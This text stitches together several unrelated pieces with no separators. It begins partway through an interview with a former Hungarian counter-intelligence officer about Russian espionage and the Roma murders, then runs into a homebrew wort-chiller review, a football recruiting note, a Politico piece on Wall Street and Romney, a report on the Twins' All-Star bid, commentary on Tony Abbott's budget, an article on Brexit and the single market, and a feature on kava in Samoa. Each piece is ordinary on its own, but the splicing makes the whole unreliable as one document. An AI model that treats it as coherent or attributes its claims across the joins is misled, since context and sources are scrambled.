Was the reason the Hungarian agencies’ fear of the GRU or Hungarian politics’ fear of Vladimir Putin?
I would rather say it is the latter. I do not think that anyone in the Hungarian secret services is afraid of the GRU, which is of course a very well built organisation with a long tradition, but we know and see their modus operandi. If it was I in a position to make a decision, it is certain that this would have to induce an active measure on our part. But these are not decided on internally, these are political decisions. The fact that the GRU and the MNA cooperate is an information of such a high level that the director general would have to inform the political side.
Does such an information belong to let’s say the five largest national security threats to Hungary in a given year?
Absolutely. But informing Hungarian politics is not enough, this information must be sent to partner agencies in NATO, because it works that way: I get information if I give information as well. But this should have been made known to other agencies because everybody’s fighting its own far-right organisations in Europe, where this is a very specific example of cooperation between the far-right and Russia.
The far-right paramilitary organisations of different countries also like to hold joint drills with each other, for example, Hungarians with the Slovak or German neo-Nazis.
Yes, and the MNA also had its own connections, thus such an information is important internationally as well. I hope that it was sent to our partners!
How many Russian illegal spies, deep cover agents could be in Hungary nowadays?
This is the largest professional challenge. Finding and checking them would require a separate department, as these agents can do the most damage. Russian services are known for thinking perspectively, 10-20 years in advance. They build up the careers of agents settled in the target countries in areas they deem to be important in the long-term, such as politics, energetics, law enforcement, homeland defence, educational-scientific research, the media, etc. Russians, then it was the Soviets, saw in 1988-1989 that the sphere of influence of the Soviet Union will be forced back and democratic transitions were coming in Eastern Europe, so in the last moment they intensively settled agents illegally. But this generation of deep cover agents is close to retirement, so they are looking for opportunities to build new lives in EU countries. And sadly, a great chance was offered by for instance the Hungarian residency bond programme. Especially since AH has 30 days to perform national security screenings, which is nowhere near enough.
Allegedly there was a serious debate on the residency bond programme between Minister for the Cabinet Office of the Prime Minister Antal Rogán and Minister of Interior Sándor Pintér, who is overseeing AH. This must not have been a coincidence.
Knowing the system,
it is quite a high risk if we allow such a high number of people into the EU,
especially from places where we do not necessarily have sufficient operational positions. It is of course possible to ask for extraordinary screenings, but I think 30 days is really insufficient to perform their background checks. If we think with the head of the opposing secret service, there is no need for a bigger opportunity. In a reverse situation, I would also take this chance.
In a given situation, is it worth it for a foreign secret service to pay 300 000 euros to settle an agent only to arrive not under a traditional cover as a diplomat or soldier?
It is absolutely worth it, it is worth even more! Illegal agents are the most valuable connections. It is possible to build up such a legend, personality and life for them which can be used in a wide range of operations later. And since they have no connections to colonies in the given countries, meaning the official bodies of the foreign state, they do not automatically bring the attention of the given countries’ national security agencies to themselves either. Thus, even establishing their contacts are done based on a stricter protocol. It is a more protected, nuanced, longer-term operational construction, which is considered one of the highest achievements in the profession. With the Hungarian residency bonds both the Russians and the Chinese could settle whole families. Of course, other countries have similar residency bond programmes to offer, but none with security flaws similar to the Hungarian situation.
Around 80% of the bonds are bought by the Chinese, the Russians are only in second place. Is this perspective build-up characteristic of Chinese secret services?
Absolutely characteristic. They are the other agency that thinks in decades, only the Chinese used to employ this method less, but now they can build up their own illegal spy rings as well. The Chinese actually used to prefer economic covers back in the day.
There was news about Russian criminals also buying residency bonds, but there were rumours about the Chinese mafia doing this too. Therefore, it is not only foreign secret services but also criminal circles who can exploit this.
We should not have illusions, the two do not exclude each other. Organised criminal circles can be used by the given country’s secret services in many places.
Many also wrote that individuals with ties to minister Antal Rogán earned a huge amount of money on the residency bond programme. Since it is Chinese, Russian and other foreign money, is it a possible national security risk that unknown foreign actors corrupt Hungarian decision-makers this way?
Seriously, what should I say to this? The fact that the system is run through offshore companies, this needs not to be overexplained. Politics obviously has the right to start and maintain a residency bond programme. The task of secret services is to say what kind of security risk this poses and minimalize it. A balance should have been found, meaning that if politics insists on having the bonds, then it should have given AH a chance, time and tools well in advance to build capacities in the given countries.
The story of the illegal visa factory operated from the Moscow embassy by ex-diplomat Szilárd Kiss in the few years after 2010 is somewhat similar, as thousands of visas were given to unknown Russians, criminals, prostitutes and who knows who else. In the meantime, Kiss failed his national security checks twice, while according to what was said in the parliament’s national security committee his wife was in contact with Russian secret services. Were they proper Russian agents?
I would not like to answer this question.
If there are such information available on Szilárd Kiss, but I could also name the Jobbik MEP suspected of espionage, Béla Kovács, why have they not been arrested yet?
This is why espionage cases are difficult, because a story is only clear legally when someone is caught red-handed. In any other case, we are talking about something diplomatically sensitive, and the highest-ranking political decision-makers decide on what would happen. However, one must get ready to react instantly whatever the decision is, for instance expelling Hungarian diplomats from Russia.
To what extent is the case of Béla Kovács, an elected EU politician allegedly spying for Russia, considered extraordinary? How regular is that Russians recruite European politicians or infiltrate state organisations of European countries?
Decision-makers and their inner circle, the experts, the advisors are primary targets for all secret services of the world. It is not even absolutely necessary to approach decision-makers, it is enough to create professional views around them through which they can be manipulated, which also means that the chance for the activity being unveiled is lower. This is why I would consider it important to put external experts, advisors under national security protection when politics starts to employ them in such high numbers. We should also learn from the scandals of Donald Trump's advisors and experts with Russian ties.
The Hungarian government believes it is not the Kremlin but George Soros who threatens Hungarian national security. Do you know if there is a department within AH which previously focused on Soros and the partly Soros-financed NGOs?
No, not at all. And now I don’t want to pose like I was a kind of out-and-out counter-espionage agent, but my nerves are not really broken by NGOs like Krétakör, the Helsinki Committee or the Hungarian Civil Liberties Union and I am not looking for cover in the corner. I cannot really imagine these being organisations who are setting up a violent change of government. But I also do not view combatting corruption as an effort to overthrow the constitutional order.
And that these are the agents of the United States or its secret services?
I have no knowledge of that and in my past I did not come across any piece of information suggesting this.
Then why did the vice-chairman of Fidesz asked Hungarian secret services to investigate these Hungarian NGOs?
I would not like to comment on this in professional terms. But if politics sees something as a serious threat, then the secret service will look after it. I do not know what the result will be.
Fotó: Huszti István / Index
And for example if they find a bug in the office of a Hungarian NGO, would it be possible that Hungarian agencies planted it?
I think that the comments of Mr. Szilárd Németh (the deputy-chair of Fidesz) or minister János Lázár on this were unlucky because the secret service does its job much more efficiently if politicians do not communicate their requirements beforehand in the media, but simply request agencies silently to do something. And then if someone finds a bug somewhere there would be no conspiracy theories that it must have been the government who planted it. My problem professionally is that too many bugs have been found lately.
I guess if it was the Hungarian secret service planting it they failed because the bug was found. If it was not them, then they failed because they could not prevent an unauthorised actor from illegally gathering information.
That is right. My professional vanity would be really bothered by the case of the state-owned Hungarian public broadcaster and I am not only talking about the wire-tapping scandal. I consider articles on the Hungarian public media broadcasting a lot of messages taken from the Kremlin’s war propaganda a serious warning for the counter-intelligence profession, as the public media should be under special national security protection according to the law. These analyses should be done by the secret service, not by journalists.
After the attack in Brussels, the Hungarian public television featured an expert, Dániel Sógor, who used easily debunkable, completely false Russian propaganda about the terror attack’s perpetrators being Belarussian.
The public media has a much larger role in informing the public than letting similar foreign disinformation being featured on it. This is a serious warning that there is an error in the system.
An employee of a Hungarian national security agency is sitting in the building of the public media, right?
I do not know who sits where, but theoretically the public media is actually considered to be a protected object. But the building does not only need physical protection, but operational protection as well, which include the counter-espionage field as well. This is a complex task ranging from the reception to what foreign information offensive the organisation should withstand.
Despite that, the public media regularly features so-called national security experts who are talking about the failure of the West and the European Union, about Washington and Brussels wanting to settle migrants in Hungary, about the refugee crisis being a controlled invasion and Hungarian policemen serving at the border should be given permission to fire. In addition, now they are also attacking NATO while they are silent on Russia or they even deny that Russia interfered in the US election on the side of Trump.
It is very hard for someone with a lot of experience in the field to keep themselves quiet when they hear this. It is clearly possible to declare what the orientation of this so-called professional group is.
Those who consider themselves experts while they panic and talk about war and invasion are not experts but something else.
One must go outside and see if there is war. And if there is not, let’s think about it.
What goals could Russian secret services have in Hungary realistically? We must admit that we are not the most important players in this region.
Referring to all of the above: when the Hungarian secret service cannot even push the result of a national security check through politics, as it happened in the Szilárd Kiss case, or when the Hungarian public media airs things we see it does the Russians will come to the conclusion that the track is clear. They can calmly follow their agenda, not much harm can befall them. They have more space for manoeuvre in Hungary than they would in other places where the counter-intelligence is much more aggressive.
How imaginable is it that Russian agents infiltrated high levels of Hungarian secret services?
The case of General Lajos Galambos has been an interesting and damaging issue. Regardless of what the result of the case was legally, the suspicion itself that the leader of Hungarian counter-intelligence between 2004 and 2007 could have been turned by the Russians, and several others could have worked for them, is quite serious.
What was the essence of the case?
Exactly what the media wrote. General Galambos made it possible for Bulgarian colleagues to perform polygraph tests on active Hungarian colleagues.
And those Bulgarian colleagues were in fact Russian ones.
Precisely. But all this was reported by the media, there is nothing new under the sun.
How did it feel to live through this inside the 'company'?
It is very hard for us to talk about this, I served with many of those affected for shorter or longer terms. It was shocking, and for me it is to this day, that nothing more serious could happen in the life of an agency. And even today it is unknown what the end result of the whole affair will be. Think about the situation when we had to do professional negotiations with our foreign partners on counter-espionage while our former number one leader was suspected of this! Do you know what kind of questions other EU-NATO partner agencies who knew our director general personally asked us and what kind of correct answer we could give them? How can we manoeuvre in the international intelligence environment, how deep is the information they are sharing with us?
How does it materialise when the confidence of NATO partner agencies is shaken in Hungarians because of this or for other reasons?
There are different cooperation forums where active information exchange takes place and for instance they show case studies to each other. If this loss of confidence materialises then there will be no specific joint issues. You are in the international bloodstream if you have joint issues with other agencies, not only in counter-espionage but in counter-terrorism as well. If these are there, you are in the club. If these are not there, you are on the periphery.
If Hungarian secret services had to be ranked in terms of their commitment to NATO, which would be the most committed and the least committed?
I will not answer that, since every one of them has to be committed to NATO. And this is what the comments of the so-called experts lack: stating that we are EU and NATO members and want to stay that way. NATO is a community militarily and in terms of secret services, this is how things must be looked at.
Fotó: Huszti István / Index
To what extent do you agree that before merging military intelligence services into the Military National Security Service (KNBSZ) Hungarian military intelligence was completely pro-NATO, while military counter-intelligence – which many of the leaders of AH originate from – was an organisation with strong connections to Russia?
I agree.
And do you agree that before 1989 the Hungarians were completely subjected to the Russians and we practically worked for the Soviet Union?
Of course, but not only the Hungarians, but everyone from the Czechs through the GDR to Cuba. The Czechoslovakian secret services were for example used specifically for transatlantic operations. Just as the Comecon, every agency had its own profile.
What was the profile of Hungarians in this secret service cooperation?
One of the areas of focus that the KGB signed over to their Hungarian partners was collecting information on the Vatican systematically. But there was constant Russian demand for acquiring COCOM-listed technical tools and technologies under embargo. Furthermore, a marked part of journalistic activities was also under the responsibility of Hungarian secret services. Another task was constructing illegal intelligence lines for the Soviet comrades in a way that the agents were settled in the West after they stayed in Hungary for some time.
What do you think about the fact that the current leadership and some staff members of Hungarian secret services are professionals who had already been active before 1989? Did their loyalty to the Russians suddenly cease to exist after the democratic transition? How can we imagine this?
This is complicated because the political and professional parts are different. But if you want a clear answer, then yes, it is problematic that those from before 1989 are still in the system. The Czech service BIS practically sent anyone who was active before the democratic transition packing and then built a completely new agency with the help of the British intelligence. With this the BIS practically allowed Prague to become a safe haven for spies for a long time and 5-8 years had to pass before the new officers got the hang of it. For this a political decision was needed and it came with a price. But currently they do not have problems like in certain cases the Estonians, the Latvians or others do, where the Russians’ men continued to play an important role in the system.
Was this ever considered within Hungarian national security agencies or did you ever see such plans?
I became an employee at the company much later, this should have been decided on in 1991-1992. But as I see we have only moved further away from this since then.
Would you support the publicity of all pre-1989 dossiers?
We can delay it as much as we want, but it must be done. When I was inside the house I of course said that it should not be done. But now that I have been outside for a while and I see how much damage can be caused by leaks on who was and who was not an agent I would say let’s do it and start fresh.
Did you ever approach someone to turn them into an agent or informer?
Naturally.
Is approval for the methods of achieving this different than it had been before 1989? Is there any method you believe only a dictatorship uses and nowadays you refuse to use it?
We cannot allow ourselves the luxury of moralizing to this degree, executing the task is the most important thing. But it does happen that something is professionally unfounded and hard to represent.
I mean physical aggression, blackmail, threats as pre-1989 methods. How characteristic are these nowadays?
Not at all and I never used it. But let’s be honest, pressuring someone into becoming an agent is in the toolkit. However, anyone who has spent some time in this profession knows that this cannot be maintained in the long-term, it is an inefficient and counter-productive tool.
Thus, you are not using them for professional rather than moral reasons?
For a security officer, moralizing works differently than it is for an average person. In short: if you are in a situation when a sleeper cell activates itself in Budapest and it depends on acquirable information if they commit a terror attack or not, then I think it is possible to extend the definition of the toolkit used in intelligence operations. But naturally even this cannot overwrite everything.
If the agencies of today’s democratic system need to turn someone into an agent from an extremist group, how many approvals are needed from leadership to do this?
This must be approved on several levels, I would not like to say a number. This is a very well documented, hierarchic system. There are no solo dancers here, leaders always have a lot of responsibility resting on their shoulders. Turning someone into an informer, an agent must be part of the daily routine. On the one hand, this is not such a big thing as outsiders think it is. On the other hand, it is much more complicated than that. From the use of technical tools through completely mapping someone’s personality to doing an environment assessment this is preceded by a lot of analytical work. Basically, it is only possible to conclude if someone’s suitable to be turned into an agent after all this is done.
One agent like this was István Csontos, who turned from being an informant to the Hungarian military counter-intelligence to an accomplice to the Roma murders in 2008-2009. Later it was revealed that military counter-intelligence repressed the information that Csontos had been their agent during the investigation and they even met him at the time the murders were taking place and one counter-intelligence officer even lied about him afterwards. What was the reason for this? Did they want to defend the honour of the uniform?
I do not know what kind of honour of the uniform we are talking about when people are dying. In these cases, there is no such thing. But I did take part in several meetings when all the affected organisations, services were at the table. And I did not hear many pieces of supportive information from the military branch either.
Fotó: Huszti István / Index
So you were an affected party in the investigation into the Roma murders?
Yes, but I do not want to talk about that. Later I also took part in hearings on the off-site hearings of the national security committee.
Earlier you said that moralizing is not the job of security officers. Did you feel remorse because the racist serial murders were not prevented or stopped during they were happening?
Yes, absolutely, I also had to deal with my own conscience. Everyone who worked on this case, be they policemen or secret agents, I think will take the fates of these six people to the grave and they will never forget it. Everybody was shaken and everyone needs to take responsibility for their own mistakes.
Hypothetical question, but was it possible to save more lives?
If I wanted to be really dramatic I would say yes. But we will never know this.
Did the secret services manage to reassuringly clarify their own responsibility in the case of the Roma murders?
Absolutely not. The National Security Office, the predecessor of the AH, was screened correctly and naturally we had to present the events to MPs as well on the off-site hearings. Then, contrary to the results of the national security screening, contradicting the findings of the report, the mandates of several of our leaders were revoked, including mine. It is completely natural that whoever worked in this field had to take the blame. I was later even rehabilitated, I became chief advisor to the director-general.
However, with regards to our colleagues from the military, several questions remain open. I did not experience investigations, hearings of similar intensity in their ranks.
So, a screening of similar depth did not take place there? Why?
I don't know the answer to this.
After the murder in Bőny it was revealed that Csontos, an accomplice in the Roma murders, was also in contact with the MNA, which held joints drills with the GRU.
I do not know that, but since Csontos was a special assistant of the Military Security Office, they obviously played with him then as well. They themselves said he was their own contact, obviously they did not only use him in one far-right circle, but in many. But all this is just a guess.
Do you think those who belong to your generation within Hungarian secret services agree with what you said in this interview?
There are generational tensions within law enforcement agencies, which not even younger high-level leaders can remedy. My generation and those younger than us cannot really identify with the so-called 'Eastern opening' of the recent period, while the older individuals whose informal influence is to this day decisive are able to do so much more.
I recently received The Hydra immersion chiller by JaDeD Brewing, it’s already been used 3 times on 2 different systems. I could blowhard about my experience with other types of chillers, how I don’t like using pumps because they’re a pain to clean, or how I was first introduced to this badass company… but I’d prefer not to beat around the bush.
The Hydra is basically made of 3 strands of 1/2″ copper tubing. The water coming into the chiller is split just after entering into each of these strands, meaning more surface area and increased contact time with cool water. It’s similar in idea to the King Cobra IC I use often, just not as squat.
For its maiden voyage, I used this beast to chill 12 gallons of Dunkel wort.
Since receiving The Hydra, groundwater temperatures where I live have been rather warm, which means I’ve not been able to chill wort to my target pitching temps. I understand I could use a pre-chiller or another setup and have plans to play with that later. However, in my opinion, a good IC is one that chills to 5°F or so above groundwater temp in a short amount of time. For the following sets of data, groundwater temperature was measured prior to the wort being chilled, at which point a timer was started and a time documented once the wort was chilled.
TRIAL #1: Munich Dunkel on My System
Groundwater Temp (GT): 82°F
Method: Constant stirring
Wort Volume: 11.5 gallons
Time to Reach GT + 10°F: 5 min 45 seconds (92°F)
Final Wort Temp: 87°F
Time to Reach 87°F: 6 minutes 32 seconds
TRIAL #2: Munich Helles on My System
Groundwater Temp: 83°F
Method: IC moved up/down in wort, occasional stirring
Wort Volume: 11.5 gallons
Time to Reach GT + 10°F: 5 min 38 seconds (93°F)
Final Wort Temp: 88°F
Chilling Time: 6 minutes 18 seconds
TRIAL #3: American Pale Ale on Friend’s System
Groundwater Temp: 82°F
Method: IC moved up/down in wort, occasional stirring
Wort Volume: 6.5 gallons
Time to Reach GT + 10°F: not measured
Final Wort Temp: 85°F
Chilling Time: 6 minutes
Not too shabby, eh? I was damn pleased, that’s for sure. If you’re wondering why my buddy’s chilling time is fairly close to mine for a smaller volume of wort, it’s due partially to the fact his volume wasn’t high enough to cover all the coils of The Hydra, resulting in some loss in efficiency. Also, he chilled his to within 3°F of his measured groundwater temperature rather than 5°F like I aim for… still pretty damn impressive.
The Verdict
I wouldn’t be writing this review if I didn’t think this product was amazing. It’s incredibly well constructed and does as it promises, plus it’s a hell of a lot easier to clean than a pump and plate chiller. For those looking to improve their chilling times, move away from clunky CFC setups, or impress your friends, I couldn’t recommend The Hydra more. One thing to keep in mind is the issue of exposed coils and how it impacts chilling efficiency– if you, like me, tend to use your larger kettle often to make smaller batches, consider the King Cobra, as it is designed specifically for this purpose. For those who primarily make 10+ gallon batches, The Hydra is the way to go.
If you have any questions about my experience with this IC, or if you’d like to share your personal experience using JaDeD chillers, please don’t hesitate to comment! If you have a question for JaDeD, contact them via their website, they’re usually very quick to respond. Cheers!
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Warner becomes the third linebacker in FSU’s class & is more of a coverage linebacker than his two #Tribe17 compatriots. At 6’4 226lbs with room to grow and very good coverage skills Warner may remind Seminole fans of former Seminole star Christian Jones whom is currently with the Bears. Check out the highlights of the newest Seminole below:
NEW YORK — Mitt Romney was Wall Street’s dream candidate, a former private equity executive committed to lower taxes and less regulation who would never rip bankers as “fat cats” as President Barack Obama famously did.
But now many masters of the universe concede they may not get their man.
Story Continued Below
Across Wall Street and the broader landscape of corporate America, even strong supporters of Romney acknowledge that swing state polling numbers and the direction of economic data and markets suggest it’s time to brace for a second Obama term.
“It looks right now like it’s probably going to be Obama, so you have to start planning for that, even if it’s not what you would prefer,” said the chief executive of one of the largest companies in the United States who has criticized the president and spoke on the condition of anonymity in order to give a frank assessment of the state of the race. The executive added that plans were under way to work with a second Obama administration on selling a plan to avoid the fiscal cliff with major tax and entitlement reform that includes some new revenues.
“We don’t really care if our taxes go up a little if we can just get this done and take this threat away from the economy,” the executive said, adding that support from CEOs could give cover to Republicans in Washington concerned about supporting any new taxes and angering tea party hardliners and anti-tax advocates such as Grover Norquist.
They still go to Romney fundraisers, open their wallets and hope for the best, especially in the upcoming debates. It’s just that Wall Street and the business community tend to follow data and play percentages. And right now they favor the president.
It makes for an uncomfortable moment for Wall Street, which came out much more aggressively for Romney than Obama this year, after Obama made significant inroads with the finance sector in 2008.
The shift in tone among executives toward Obama was on display at the Clinton Global Initiative this week, where several CEOs softened their criticism of the president. Goldman Sachs CEO Lloyd Blankfein acknowledged there had been widespread “disappointment” with Obama within his firm and across Wall Street.
But he also said that it was time to move on and finally deal with rising debt and unsustainable entitlement programs. “People who have been pouting and holding their breath aren’t going to want to do that for four more years,” he said.
John Chambers, CEO of Cisco Systems and a strong Romney supporter, spoke of bridging partisan divides on taxes and spending should Obama win a second term. And in an interview with Reuters, Chambers said whoever wins should govern like Bill Clinton. “There’s a lot to learn from President Clinton. It kills me as a strong Republican saying it, but he was the most effective president during my lifetime,” Chambers said.
The Obama administration has already begun laying ground work for improving its soured relationship with corporate America in a possible second term.
To be sure, there are still plenty of Romney partisans across Wall Street and the business community who are far from giving up and dismiss talk that the former Massachusetts governor is fading.
“I don’t think donors are reacting at all,” to the negative poll numbers said Woody Johnson, owner of the New York Jets. “We had Romney here three weeks ago and had the biggest three events we’ve ever had. We raised $8 million. We had a breakfast where we would normally do $1.5 or $2 million and we did $4 million.”
Johnson added that executives know a campaign ebbs and flows and that there is time for a late comeback win. “They know in business and politics things are very fluid. I’m extremely confident and the people I talk to are cautiously optimistic.”
This article tagged under: Wall Street
Commissioner Bud Selig will be among those participating in the All-Star game announcement, which will be held just inside Gate 34 -- the entrance that leads on to the outfield concourse -- at the ballpark.
The Twins set a goal of bringing the 2014 All-Star Game to Target Field back in 2008, two years before the ballpark opened. Now, that goal is about to be realized.
Major League Baseball is planning a Wednesday afternoon news conference at Target Field, where Commissioner Bud Selig officially will award the 2014 All-Star Game to the Twins, according to multiple people who have been briefed on MLB's plans.
While being careful to say that nothing is official, the Twins were busy inviting several former All-Stars and other local dignitaries to Wednesday's announcement.
"We hope that [an official announcement is] imminent," Twins CEO Jim Pohlad said. "The amount of communication with Major League Baseball has picked up, but ultimately the commissioner decides."
The Twins have been host to the All-Star Game twice -- in 1965 at Metropolitan Stadium and in 1985 at the Metrodome.
"It's more about what it means to the city and the state," Pohlad said. "We're a part of this community. We're excited to bring the All-Star Game here, so we can show everyone this ballpark."
It will mark the first time the Twin Cities has been host of an All-Star game in a major professional sport since the NHL All-Star Game was at Xcel Energy Center in 2004.
The Twins first announced their goal of landing the 2014 All-Star Game on Sept. 10, 2008. Team President Dave St. Peter and Minneapolis Mayor R.T. Rybak presided over a rooftop ceremony at Target Center, overlooking the new ballpark's construction site.
In January, the Twins and the city of Minneapolis presented their formal bid to MLB for the 2014 event, detailing all the logistical arrangements they had ready, such as hotel space, transportation and convention facilities.
All along, the Twins have said the decision was in the commissioner's hands. Selig was a close friend of late Twins owner Carl Pohlad and lobbied hard to help get Target Field built.
Selig didn't officially announce that the Mets would be be hosts of the 2013 All-Star Game until this past May. The Twins are eager to get official word about the 2014 event because it help drive season-ticket sales. Teams typically give season-ticket holders first dibs on buying tickets to All-Star festivities, which include the Futures Game and Home Run Derby. All three events sold out this year at Kansas City's Kauffman Stadium.
Pohlad acknowledged that an All-Star announcement should help ticket sales, but added, "so can a team's performance. If you could pick between an All-Star Game and performance, you'd take the team's performance."
The Twins went 94-68 in 2010, their first year at Target Field. They slipped to 63-99 last year and entered Monday on a pace to finish 66-96. After drawing a franchise record 3,223,640 fans in 2010, they drew 3.17 million last year, and entered Monday on pace to draw 2.86 million this year.
But a path forward – a way out of its political mess – is the only thing that can save the prime minister and his government. Circling the wagons might hold his critics off for a while, but it doesn’t address the cause of their concern.
Abbott’s political message was obvious – he isn’t going anywhere.
His policy message was that he was the guy with the resolve and the guts to tackle the budget deficit and this was crucial because not addressing it would be “ripping off future generations” and risking contracting the European “disease”.
But the 2014 budget didn’t actually do all that much to reduce deficits. Deficits will, over the next two years, total almost $72bn, compared with the $28.7bn calculated by treasury and finance during last year’s election campaign. A forecast surplus is now six, rather than two, years away. And many of those cuts are stalled in the Senate.
Despite this, and despite the dire consequences he said would flow from ignoring the deficit, the prime minister also argued that the 2014 budget had apparently done enough and the 2015 budget won’t contain the same pain. “Because we have done much of the hard work already, we won’t need to protect the commonwealth budget at the expense of the household budget,” he maintained.
The spending cuts in last year’s budget were rejected by the electorate because they were perceived to be unfair. Economic modelling by the National Centre for Social and Economic Modelling (Natsem) and separate modelling by the Australian National University showed they actually were unfair – even after the abolition of the carbon tax was taken into account. Low-income earners were hit hardest and high-income earners felt little pain.
That was the exact moment the Abbott government appeared to lose the voters’ trust. And yet it has never explained why it chose that particular combination of spending cuts to reduce the deficit and not other, fairer ones. Instead it has been pretending that the cuts it chose were the only ones available.
Despite conceding that the lesson of the Queensland election rout was that governments had to “take the voters with them”, the prime minister again refused to address this question, resorting again to the “ripping off future generations” lines. How do you “take voters with you” if you don’t address their main concern?
And he effectively said Victorian voters who threw out the first-term Liberal government last year, in an election dominated by a part federally funded road, had made the wrong decision. The new Labor government does not want to proceed with the road and could face a sizeable fee for breaking a contract, which was what happened, the prime minister quipped, when voters “in a fit of absent-mindedness” elected Labor governments.
He confirmed he was ditching his “signature” paid parental leave scheme – as evidence he was listening to his party’s concerns about it. But the prime minister must be a slow listener because almost everyone in his party has been against the scheme ever since he imposed it upon them almost five years ago. It would be replaced by a families and childcare package – which is indeed a better way to improve productivity, but would earn the ire of business if the levy they were paying to fund the paid parental leave plan is simply going to be redirected.
He reminded us of the big changes over which the Coalition wants to conduct a “constructive debate”. One is tax reform. But then he said he would not consider a central element – changing the goods and services tax – unless there was “political consensus” and all states and territories agreed. Which isn’t going to happen.
And the big mea culpa on the Sir Duke Prince Philip disaster? One backbencher declared straight away it wasn’t adequate and vowed to introduce a private member’s bill to do away with knights and dames altogether. And several others supported him.
The point of the speech was to tell agitating backbenchers that he would stare them down and that they were doing the country a disservice by the very act of leadership agitation.
But it didn’t do anything to answer the underlying causes of the government’s malaise – why the government made the specific decisions that brought it to this point, and what it intended to do to restore voters’ confidence.
It was full of resolve, but it didn’t answer the real questions at the heart of the government’s problems.
Philip Hammond wants to see Britain retain access to the single market in specific sectors such as financial services, while also securing border controls for the UK.
The chancellor wants to ensure that Brexit negotiations protect particular parts of the economy before a meeting of the cabinet on Wednesday at Chequers.
Theresa May is expecting her most senior ministers to arrive at the prime minister’s country retreat armed with ideas about how Brexit could be a success in their particular areas, having demanded they draw up plans before the summer.
The meeting will take place after reports of a government split over whether or not the UK government should try to retain its membership of the single market.
According to the Sunday Times, a number of senior figures including Hammond believe that all options, including staying in the single market, should remain on the table even if it means fewer restrictions over immigration. This is believed to be in contrast to Brexit-supporting ministers including David Davis and Liam Fox, who are thought to be more hawkish about Britain’s exit plans.
Theresa May 'acting like Tudor monarch' by denying MPs a Brexit vote Read more
However, a Treasury source was keen to play down the idea of a split. “Everyone agrees there have to be controls on immigration and some access to the single market – taking a flexible approach,” he said.
It has been suggested that the financial services industry will be a priority for the chancellor.
Other European leaders have suggested the UK cannot keep full membership on economic and trade terms if it wants to restrict freedom of movement, arguing that that is one of the four key principles of the European project.
The issue is likely to cause tension within the cabinet, where most ministers campaigned to remain in the EU, but also more widely across government, with some Brexiters deeply suspicious of the motivations of pro-EU civil servants. Steve Baker MP, who campaigned for Brexit, has suggested that officials should be “summarily fired” if they tried to block the Brexit process.
The question for negotiators will be what access to the market actually means. Some Brexit supporters believe European countries will give the UK tariff-free trade alongside restrictions to immigration but many others expect there to be an economic price to pay for greater border control.
The former head of the civil service, Gus O’Donnell, recently suggested Britain could remain in a more “loosely aligned” European Union, arguing it could take “years and years and years” to separate fully and that the whole project could change in that time. However, he said it was unlikely that any reform would be radical enough, arguing the chances of remaining a part of the European project were very low.
O’Donnell urged caution in triggering article 50 without a strategic plan in place, arguing that the exit mechanism from the EU was designed to favour the countries that were staying in the union.
Brexit means Brexit … but the big question is when? Read more
The process that will take place before a formal UK exit has caused a backlash in parliament after it emerged that May will not give MPs a vote before invoking article 50. Downing Street sources said May was clear that the will of the British public would be honoured, with her repeated assertion that “Brexit means Brexit”.
However, politicians, who campaigned overwhelmingly for Britain to stay in the EU, want to have a say on the deal the UK government secures.
Barry Gardiner, Labour’s shadow secretary of state for international trade, Europe, energy and climate change, said parliament could not be sidelined from the greatest constitutional change the country has debated in 40 years. “The logic of saying the prime minister can trigger article 50 without first setting out to parliament the terms and basis upon which her government seeks to negotiate, indeed without even indicating the red lines she will seek to protect, would be to diminish parliament and assume the arrogant powers of a Tudor monarch,” he said.
Owen Smith, the leadership candidate for Labour who has sought to make the EU a dividing line between him and Jeremy Corbyn, accused the prime minister of “running scared” from parliamentary scrutiny of her Brexit negotiations. “She’s looked at the numbers and she knows she might not win a vote in parliament. She hasn’t set out what Brexit means and she doesn’t want to be held to account on vital issues such as stripping away workers’ rights and environmental safeguards.”
At Savalalo market on Upolu, Samoa's main island, the regular kava circle will host at least eight people on most days, but at busy times on a Saturday there may be many as 20.
The drinkers gather on bench seats set up in a circle and are served by young men who make the brew.
"At one tala (dollar) a seating, it ain't bad for a day of fun," Uilelea says.
Uilelea is also a member of the market's chess circle and insists he always plays better after a bowl of kava.
"Kava is needed to take the tension away," Uilelea said, adding the goal is relaxation rather than inebriation.
Made from the pounded roots of the kava (Piper methysticum) plant, the drink remains after thousands of years the focus of social and cultural life in many Pacific island nations.
At Salelologa market on Samoa's other main island of Savaii, Kilisi Tiatia also values kava's calming effect, frequently joining the kava circle to catch up on local news and gossip.
"It's really about relaxing, taking it easy and then sharing stories," said Tiatia, who has been part of the kava circle for 20 of his 41 years.
Kava ceremonies are at the centre of the most important cultural events on many islands, used to reinforce the social order and welcome important guests.
The coronation of Tonga's King Siaosi Tupou V last year became global news with its extravagant European pageantry, including pages in silk knee breeches, ermine capes and imperial brass music.
But in local eyes, the ceremony that counted most was the earlier traditional kava rite in which nobles and chiefs pledged obedience to their new king around the kava bowl.
During the ceremony, more than 200 of the country's chiefs gathered in a circle around dozens of slaughtered pigs, hundreds of food baskets and other gifts to the new monarch.
The king, whose title dates back to the 17th century, drank the first bowl of kava to confirm his authority over the tiny nation of 110,000.
In Fiji, visitors to villages are still expected to present a bundle of kava roots to the local chief to ensure a friendly reception and hospitality.
Kava is found in most of the islands of Polynesia and Melanesia, as well as parts of Micronesia in the northern Pacific.
In Samoa it is called 'ava, in Fiji, yaqona, and in the state of Pohnpei in the Federated States of Micronesia, sakau.
The Melanesian nation of Vanuatu may be the original home of the kava plant and it still claims to produce the best, although growers on other islands usually beg to differ.
Traditionally, young girls or boys would chew the roots to a pulp before the kava was made. Today the roots are pounded into a powder which is mixed with water and sieved before serving.
The effects on the drinker include a mild numbing of the tongue and lips, sociability, calmness and a sense of well-being.
The sedative effect means that unlike alcohol drinking, kava sessions rarely end in violence.
Some foreigners who have tried kava describe it as looking and tasting like muddy water, although it has been gaining popularity in tablet form as a mood-enhancing natural remedy in some developed countries.
A study at Australia's University of Queensland this year found kava to be an effective treatment for anxiety.
The study of 60 people - in which half were given kava tablets and half a placebo - found the drink had a beneficial effect on wellbeing.
"We found the people taking the kava did [experience] a very strong anxiety-reducing effect and we also found their mood was elevated significantly," said Jerome Sarris, who led the study.
Sarris said there were no indications during the trial of any adverse health problems from the water-soluble extract of kava, although there have been concerns about the effects of heavy, long-term use.
The mood-enhancing effects of kava were increasingly recognised in developed countries in the 1990s and by the beginning of the current decade kava exports from Pacific countries had grown to around $200 million (US) a year.
Kava extract pills gained wide popularity in Western markets including Europe - especially Germany - and the United States until reports of a few cases of severe liver problems in users saw bans introduced in Europe in 2002.
